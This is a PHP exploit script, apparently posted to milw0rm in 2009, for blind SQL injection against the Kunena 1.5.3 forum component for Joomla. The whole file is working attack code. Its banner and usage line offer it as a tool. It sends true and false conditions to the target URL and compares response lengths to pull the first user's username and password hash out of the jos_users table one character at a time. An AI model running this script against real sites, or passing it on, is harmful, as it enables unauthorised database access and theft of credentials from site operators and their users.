84 lines
No EOL
2.6 KiB
PHP
84 lines
No EOL
2.6 KiB
PHP
<?php
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ini_set("max_execution_time",0);
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print_r('
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##############################################################################
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#
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# Joomla Kunena Forums (func) Blind SQL Injection Exploit
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#
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# MEFISTO a.k.a ilkerkandemir
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# mefisto [at] hackermail . com
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# (IMT) imhatimi.org
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# Usage: target.php [site][SQL]
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#
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##############################################################################
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');
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if ($argc > 1) {
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$url = $argv[1];
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$r = strlen(file_get_contents($url."+and+1=1--"));
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echo "\nExploiting:\n";
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$w = strlen(file_get_contents($url."+and+1=0--"));
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$t = abs((100-($w/$r*100)));
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echo "Username: ";
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for ($i=1; $i <= 30; $i++) {
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$laenge = strlen(file_get_contents($url."+and+ascii(substring((select+username+from+jos_users+limit+0,1),".$i.",1))!=0--"));
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if (abs((100-($laenge/$r*100))) > $t-1) {
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$count = $i;
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$i = 30;
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}
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}
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for ($j = 1; $j < $count; $j++) {
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for ($i = 46; $i <= 122; $i=$i+2) {
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if ($i == 60) {
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$i = 98;
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}
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$laenge = strlen(file_get_contents($url."+and+ascii(substring((select+username+from+jos_users+limit+0,1),".$j.",1))%3E".$i."--"));
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if (abs((100-($laenge/$r*100))) > $t-1) {
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$laenge = strlen(file_get_contents($url."+and+ascii(substring((select+username+from+jos_users+limit+0,1),".$j.",1))%3E".($i-1)."--"));
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if (abs((100-($laenge/$r*100))) > $t-1) {
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echo chr($i-1);
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} else {
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echo chr($i);
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}
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$i = 122;
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}
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}
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}
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echo "\nPassword: ";
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for ($j = 1; $j <= 49; $j++) {
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for ($i = 46; $i <= 102; $i=$i+2) {
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if ($i == 60) {
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$i = 98;
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}
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$laenge = strlen(file_get_contents($url."+and+ascii(substring((select+password+from+jos_users+limit+0,1),".$j.",1))%3E".$i."--"));
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if (abs((100-($laenge/$r*100))) > $t-1) {
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$laenge = strlen(file_get_contents($url."+and+ascii(substring((select+password+from+jos_users+limit+0,1),".$j.",1))%3E".($i-1)."--"));
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if (abs((100-($laenge/$r*100))) > $t-1) {
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echo chr($i-1);
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} else {
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echo chr($i);
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}
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$i = 122;
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}
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}
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}
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} else {
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echo "\nExploiting Failed \n";
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}
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/*
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Note:
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<name>Kunena</name>
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<version>1.5.3</version>
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<versionname>Spreek</versionname>
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<creationDate>2009-06-15</creationDate>
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<build>1688</build>
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<author>www.Kunena.com</author>
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<authorEmail>Kunena@Kunena.com</authorEmail>
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<authorUrl>http://www.Kunena.com</authorUrl>
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<copyright>www.Kunena.com</copyright>
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<license>GNU/GPL</license>
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<description>Kunena Forum</description>
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*/
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?>
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# milw0rm.com [2009-08-10]
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